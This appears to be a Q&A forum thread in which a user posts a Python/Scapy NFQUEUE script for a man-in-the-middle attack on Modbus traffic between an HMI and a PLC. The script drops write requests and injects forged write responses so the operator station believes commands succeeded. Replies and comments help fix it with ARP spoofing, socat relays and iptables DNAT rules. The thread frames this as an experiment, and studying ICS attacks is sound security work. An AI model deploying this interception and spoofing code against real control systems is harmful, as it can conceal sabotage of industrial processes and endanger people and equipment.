2

I am trying to fool my HMI (client) with some kind of MITM attack. But it looks like I do not understand some basic things. So this is the code and a Wireshark screenshot on HMI side. The problem is:

  1. I am dropping original WRITE request packet from HMI
  2. I am crafting the fake RESPONSE packet and sending it to HMI
  3. After that HMI trying to send new REQUEST but PLC (server) suddenly does not respond :(

#!/usr/bin/python2
import nfqueue
from scapy.all import *
load_contrib('modbus')
import os
import time

# MITM rule initialization:
iptable_rule1 = "iptables -A FORWARD -j NFQUEUE"
#iptable_rule2 = "iptables -A OUTPUT -j ACCEPT"
os.system(iptable_rule1)
os.system("sysctl net.ipv4.ip_forward=1")

def callback(payload):
    global ON
    data = payload.get_data()
    pkt = IP(data)
    #Checking if WRITE request is in payload
    if ModbusPDU06WriteSingleRegisterRequest in pkt and ModbusADURequest in pkt:
        print "[*] WRITE request packet detected..."
        # Begin of crafting fake RESPONSE packet
        fake_response = IP()/TCP()/ModbusADUResponse()/ModbusPDU06WriteSingleRegisterResponse()
        fake_response[ModbusADUResponse].transId = pkt[ModbusADURequest].transId
        fake_response[ModbusADUResponse].len = pkt[ModbusADURequest].len
        fake_response[ModbusADUResponse].unitId = pkt[ModbusADURequest].unitId
        fake_response[ModbusPDU06WriteSingleRegisterResponse].funcCode = pkt[ModbusPDU06WriteSingleRegisterRequest].funcCode
        fake_response[ModbusPDU06WriteSingleRegisterResponse].registerAddr = pkt[ModbusPDU06WriteSingleRegisterRequest].registerAddr
        fake_response[ModbusPDU06WriteSingleRegisterResponse].registerValue = pkt[ModbusPDU06WriteSingleRegisterRequest].registerValue
        fake_response[IP].src = pkt[IP].dst
        fake_response[IP].dst = pkt[IP].src
        fake_response[TCP].sport = pkt[TCP].dport
        fake_response[TCP].dport = pkt[TCP].sport
        fake_response[TCP].seq = pkt[TCP].ack
        fake_response[TCP].ack = pkt[TCP].seq + len(pkt[TCP].payload)
        fake_response[IP].ttl = 2 #Just for red color in Wireshark
        fake_response[TCP].flags = 'PA'
        #del fake_response[IP].chksum
        #del fake_response[TCP].chksum
        # End of crafting fake RESPONSE packet
        time.sleep(0.1)
        #Injection of FAKE response to the network
        payload.set_verdict_modified (nfqueue.NF_ACCEPT, str(fake_response), len(fake_response))
    #All other packets have to be accepted
    else:
        print "[*] Non request packet accepted..."
        payload.set_verdict(nfqueue.NF_ACCEPT)

def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run()
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        print("Flushing iptables.")
        os.system('iptables -F')
        os.system('iptables -X')

main()

Wireshark screenshot

Thank you for all kind of help!

aL_eX
  • 1,453
  • 2
  • 15
  • 30
Sergey
  • 21
  • 2

1 Answers1

1

If you want to tamper with data inside a TCP connection, it's probably easier to use iptables to DNAT it to the connections to a local server that acts as a proxy.

By proxy I mean a TCP relay: a TCP server forwarding data as a simple client. Once this works, you can modify the data as you forward it.

This way, your OS will handle TCP sequence & acknowledgment numbers, checksums, etc. Using NFQUEUE + Scapy is an option when you change content without changing the content's length, or when the packets are not a TCP connection (e.g., UDP or ICMP messages).

Pierre
  • 6,047
  • 1
  • 30
  • 49
  • Pierre, hello! Again thank you! The idea of my experiment is to let master think that it’s request accepted, so i am trying to build a correct response message, and as i see in wireshark it’s exactly like a real modbus response. Seq and Ack numbers are good, also it is dissected as modbus response, and master sends AKC packet after getting my fake modbus response, so everything should be ok, but unfortunately after that master send all next requests to have no idea where, and after several attemps i am getting Modbus Time Out error :( – Sergey Dec 05 '17 at 20:13
  • About your suggestion to use proxy, i am not sure that i understand how to create local modbus proxy server :( I tried to do that but it takes too long time to clone a real PLC. – Sergey Dec 05 '17 at 20:13
  • Thank you, @Pierre! I will try that kind of solution! If it is possible can you please explain for me how it works? For now I have arpspoof in the middle, then I have to put something like `socat TCP-LISTEN:502,fork TCP: SLAVE:502` to make a TCP Relay in the middle and also activate `iptables -t nat -A PREROUTING -p tcp -j DNAT --to-destination MITM:502` and after that i should have a possibility to change OUTPUT data from my MITM computer to the SLAVE. Is that correct? – Sergey Dec 06 '17 at 12:39
  • Using socat is a cool option but I don't know how to change the transmitted data in that case. I would write a server / client in Python (you will then be able to use Scapy's Modbus dissectors) and change the data in it. – Pierre Dec 06 '17 at 15:26
  • Thank you Pierre! I tried the option with socat. Again same results, I can drop the modbus request packet, i am sending the fake response, getting ACK, but after that the order of sequence numbers collapses, and slave send RST packets :( – Sergey Dec 07 '17 at 06:05
  • You **don't** have to drop a packet with this option! You just have to DNAT. Any other option would imply to handle TCP sequence & acknowledgment numbers as I (try to) explain in my answer. – Pierre Dec 07 '17 at 12:47